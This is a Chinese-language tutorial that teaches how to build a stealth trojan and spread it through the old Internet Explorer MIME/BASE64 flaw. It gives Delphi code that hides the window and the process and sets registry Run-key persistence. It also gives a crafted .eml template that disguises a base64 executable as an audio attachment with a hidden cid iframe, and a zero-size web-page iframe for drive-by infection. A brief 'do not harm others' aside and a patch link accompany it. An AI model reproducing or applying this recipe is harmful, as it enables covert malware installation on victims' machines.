几天前我中了一个木马,当时我很纳闷,我第一没有收过邮件,第二没有收过朋友从QQ里传来的文件,为什么我会中木马呢?于是查了一下有关资料,才发现网页也有嵌入的可能。究其原因,这是因为微软公司的在2000年发布的MIME/BASE64处理漏洞所引起的,不过这个漏洞只适用于IE5.5以下的版本的浏览器。
那么MIME是什么呢?其实MIME是Multimedia Internet Mail Extensions的缩写,是一种技术规范。而现在主要是用在扩展邮件功能上,而MIME的用处其实还不止这个,我们的B/S方式的实现其实里面就包括了MIME,它是HTTP协议的一部份。
概念我就不多说了,下面说一说这个木马的实现思路:
1、首先我们要写一个普通的木马。
2、把木马打包在*.eml文件里(打完包后不知道的人还以为是尼姆达,呵呵)。
3、把*.eml嵌入网页。
而在这里我们所要到的工具有:
1、一个普通的编程台平(如Delphi、VB、VC,而我在这里用的工具是delphi)
2、邮件编辑器(在这里我用到的是FoxMail)
3、HTML编辑工具(在这里我用到的是记事本)
好了,思路和环境我们都有了就让我们一步一步来实现这个木马吧~~~,首先我们先用Delphi做一个最基本的木马框架(在这里只建立一个框架,里面的肉你们就自己来填吧)。
1、首先我们应该在木马创建主窗口时就把其隐藏起来,大家一定会首先想到的是在form的FormCreate事件里用窗口的HIDE方法把其隐藏,那你就错了,如果像这里做程序运行时会报错,而我们应该在FormCreate事件里加入一句application.showmainform:=false;这样主窗口就在运行时得到隐藏。
2、我们应该把程序的进程所隐藏,做对方用CTRL+ALT+DEL在"关闭程序"对话框里看不到。我们就要用API函数RegisterServiceProcess来把当前进程变为一个系统服务,从而在任务列表中把程序隐藏起来,这个函数的用法为:
DWORD RegisterServiceProcess(DWORD dwProcessId,
DWORD dwType);
不过在用之前必须从KERNEL32.DLL里重载出来。在程序里的具体用法如下:
implementation
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID, 1);//注册服务
end;
而GetCurrentProcessID是得本程序的程序ID,1表示为当进程注册成为系统服务。
3、把程序在下次系统起动时加载。首先我们应该在uses下加入registry单元,然后在主窗口的FormCreate事件里把本程序加入到windows注册表里的自动运行项(HKEY_LOCAL_MACHINE\\Software\MicroSoft\Windows\CurrentVersion\Run)里面。好了,我们看看具体程序怎么实现:
RegF:=TRegistry.Create;//创建Registry组件,这个组件是专门针对注册表操作的组件
RegF.RootKey :=HKEY_LOCAL_MACHINE;//把根键设为HKEY_LOCAL_MACHINE
RegF.OpenKey('Software\MicroSoft\Windows\CurrentVersion\Run',True);//打开Software\MicroSoft\Windows\CurrentVersion\Run子键
RegF.WriteString('sys',ParamStr(0));//在里面写入本程序的路径
RegF.Free;//释放Registry组件。
好了,以上我们所做成的就是一个木马的框架了,下面我们看看怎么把这个程序打包在*.eml程序里面。而这时我们要把我们的程序变成BASE64编码才能嵌入*.eml文件当中,在这里我们省点事,用foxmail搞定吧~。首先我们在foxmail里面创建一封邮件并保存。打开发件箱,你会发现这封邮件在里面。用右件单击这封邮件,在弹出菜单中单击“原始信息”,再点击全部,这时你就会在filename="Project1.exe"一些“乱码”,这些乱码就是变成BASE64编码的程序。
现在先把这些BASE64编码的程序放在一边,我们来看看这个特殊邮件是怎么实现的。通常我们知道一个邮件分为包头,正文,副件,包尾组成的,在这里,我会对整个过程序进行一个解析:
1、打开记事本。
2、我们来写在记事本里写入包头信息:
From: "xxxxx"//邮件来自的地址,你没有那么笨会把自己的邮件地址写在这里吧,呵呵~
Subject: mail//邮件标题。
Date: Thu, 2 Nov 2000 13:27:33 +0100//日期
MIME-Version: 1.0//MIME的版本信息
Content-Type: multipart/related;//联接的类型。
type="multipart/alternative";
boundary="1"
X-Priority: 3//优先级
X-MSMail-Priority: Normal//微软邮件优先级
X-Unsent: 1//未寄出信息
3、写入正文内容,这一部份以HTML邮件形式写入并在正文处写入一个内嵌框架,框架打开的是嵌入附件的标识,如:
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>//而THE-CID就是附件的标识
ok<BR>
</BODY>
</HTML>
--2--
4、写入邮件的附件部份:
--1
Content-Type: audio/x-wav;
name="XX.exe"//此处为生成的临时文件的文件名
Content-Transfer-Encoding: base64//编码方式
Content-ID: <THE-CID>//副件的连接ID
………//把你刚刚用Foxmail编好的 base64编码的可执行程序拷在这里吧
5、最后写入包尾,其实包尾只有一句话,那就是:
------=_NextPart_000_0009_01C2EECC.16E8F4A0--
这样我们就完成了整个邮件包的制作,然后把其存为*.txt文件,导入foxmail里,最后把它倒出为*.eml文件。这样我们的打包过程也就结束了。双击一下我们刚生成的邮件文件,这时它会执行你刚刚所编写的木马文件~~(哈哈,害人害已敢吧~)
最后我们如果把这个文件插入网页呢?其实方法很简单,我们只需要建立一个内嵌框架把那个*.eml文件当作网页写入就可以了,我们看一下具体代码:
<html>
<body>
<iframe name="I1" src="XX.eml" width="0" height="0" marginwidth="1" marginheight="1" border="0" frameborder="0">//XX.eml就是我们刚刚导出的*.eml文件
</iframe>
</body>
</html>
好了,我们已经看清楚了这类木马的整个制作过程,试着自己也写一下,不过请不要害人呀,如果您是win98+IE5.5以下的读者请上微软的网站:http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp去下载一个补丁装一下吧,不要向我一样的中别人的招,请也不要用此技术到处害人哦~~~